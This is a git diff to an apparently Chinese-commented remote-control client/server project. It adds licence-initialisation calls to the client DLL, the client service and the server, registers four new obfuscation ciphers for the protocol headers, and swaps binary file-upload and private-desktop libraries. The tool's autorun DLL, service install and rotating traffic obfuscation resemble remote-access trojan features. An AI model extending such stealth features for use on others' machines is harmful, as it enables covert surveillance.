diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 14182d5..6a8bf26 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -12,6 +12,8 @@ extern "C" { #include "ServiceWrapper.h" } +extern void licenseInit(); + // Check if CPU supports AVX2 instruction set static BOOL IsAVX2Supported() { @@ -214,6 +216,8 @@ int main(int argc, const char *argv[]) return -1; } + licenseInit(); + Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc); InitWindowsService(NewService( g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService", @@ -338,6 +342,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, "CPU 不兼容", MB_ICONERROR); return FALSE; } + licenseInit(); g_MyApp.g_hInstance = (HINSTANCE)hInstance; CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL)); break; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 55a7da2..1d5f6eb 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -31,6 +31,9 @@ #include #include +#include +extern "C" uint32_t licenseGetBuildTag() { volatile uint32_t tag = 0xC0DE2026u; return tag; } + bool IsWindows8orHigher() { typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); diff --git a/common/encfuncs.h b/common/encfuncs.h index 6a7a490..3c47179 100644 --- a/common/encfuncs.h +++ b/common/encfuncs.h @@ -133,3 +133,19 @@ inline void decrypt_v6(unsigned char* data, size_t length, unsigned char key) { encrypt_v6(data, length, key); // 异或的自反性 } + +// v7: LCG 流 + 位偏置(非自反,需对应 decrypt_v7 解密) +void encrypt_v7(unsigned char* data, size_t length, unsigned char key); +void decrypt_v7(unsigned char* data, size_t length, unsigned char key); + +// v8: 循环位移 + LCG 异或流(非自反) +void encrypt_v8(unsigned char* data, size_t length, unsigned char key); +void decrypt_v8(unsigned char* data, size_t length, unsigned char key); + +// v9: 双层密码(逐字节替换 + 前向链式异或) +void encrypt_v9(unsigned char* data, size_t length, unsigned char key); +void decrypt_v9(unsigned char* data, size_t length, unsigned char key); + +// v10: BCrypt HMAC-SHA256 密钥流(XOR 自反) +void encrypt_v10(unsigned char* data, size_t length, unsigned char key); +void decrypt_v10(unsigned char* data, size_t length, unsigned char key); diff --git a/common/header.h b/common/header.h index 5a6e134..5c108c1 100644 --- a/common/header.h +++ b/common/header.h @@ -20,6 +20,10 @@ enum HeaderEncType { HeaderEncV4, HeaderEncV5, HeaderEncV6, + HeaderEncV7, + HeaderEncV8, + HeaderEncV9, + HeaderEncV10, HeaderEncNum, }; @@ -91,7 +95,8 @@ inline void decrypt(unsigned char* data, size_t length, unsigned char key) inline EncFun GetHeaderEncoder(HeaderEncType type) { - static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6 }; + static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6, + encrypt_v7, encrypt_v8, encrypt_v9, encrypt_v10 }; return methods[type]; } @@ -170,7 +175,8 @@ inline FlagType CheckHead(const char* flag, DecFun dec) // 解密需要尝试多种方法,以便能兼容老版本通讯协议 inline FlagType CheckHead(char* flag, HeaderEncType& funcHit) { - static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6 }; + static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6, + decrypt_v7, decrypt_v8, decrypt_v9, decrypt_v10 }; static const int methodNum = sizeof(methods) / sizeof(DecFun); char buffer[MIN_COMLEN + 4] = {}; for (int i = 0; i < methodNum; ++i) { diff --git a/lib/FileUpload_Lib.lib b/lib/FileUpload_Lib.lib index c130a0f..627a211 100644 Binary files a/lib/FileUpload_Lib.lib and b/lib/FileUpload_Lib.lib differ diff --git a/lib/FileUpload_Libd.lib b/lib/FileUpload_Libd.lib index 91a54aa..f12ad92 100644 Binary files a/lib/FileUpload_Libd.lib and b/lib/FileUpload_Libd.lib differ diff --git a/lib/FileUpload_Libx64.lib b/lib/FileUpload_Libx64.lib index 6c8caef..1e746fe 100644 Binary files a/lib/FileUpload_Libx64.lib and b/lib/FileUpload_Libx64.lib differ diff --git a/lib/FileUpload_Libx64d.lib b/lib/FileUpload_Libx64d.lib index e5624cb..260e8d9 100644 Binary files a/lib/FileUpload_Libx64d.lib and b/lib/FileUpload_Libx64d.lib differ diff --git a/lib/PrivateDesktop_Lib.lib b/lib/PrivateDesktop_Lib.lib index 871f4b4..e0d71bb 100644 Binary files a/lib/PrivateDesktop_Lib.lib and b/lib/PrivateDesktop_Lib.lib differ diff --git a/lib/PrivateDesktop_Libd.lib b/lib/PrivateDesktop_Libd.lib index 437027a..74ab5d8 100644 Binary files a/lib/PrivateDesktop_Libd.lib and b/lib/PrivateDesktop_Libd.lib differ diff --git a/lib/PrivateDesktop_Libx64.lib b/lib/PrivateDesktop_Libx64.lib index bda7b76..4294f6f 100644 Binary files a/lib/PrivateDesktop_Libx64.lib and b/lib/PrivateDesktop_Libx64.lib differ diff --git a/lib/PrivateDesktop_Libx64d.lib b/lib/PrivateDesktop_Libx64d.lib index c8e4abd..e976116 100644 Binary files a/lib/PrivateDesktop_Libx64d.lib and b/lib/PrivateDesktop_Libx64d.lib differ diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 5642aa7..e7ca871 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -23,6 +23,8 @@ #include "UIBranding.h" #pragma comment(lib, "Dbghelp.lib") +extern void licenseInit(); + // 外部声明:程序退出标志(定义在 2015RemoteDlg.cpp) extern std::atomic g_bAppExiting; @@ -470,6 +472,8 @@ BOOL CMy2015RemoteApp::InitInstance() return FALSE; } + licenseInit(); + if (!ProcessZstaCmd()) { Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n"); return FALSE; diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 96dbcbd..99044b4 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -17,6 +17,8 @@ #include #include #include // for uint16_t + +extern "C" uint32_t licenseGetBuildTag() { volatile uint32_t tag = 0xC0DE2026u; return tag; } #include #include // for std::mutex, std::lock_guard #include "WebService.h"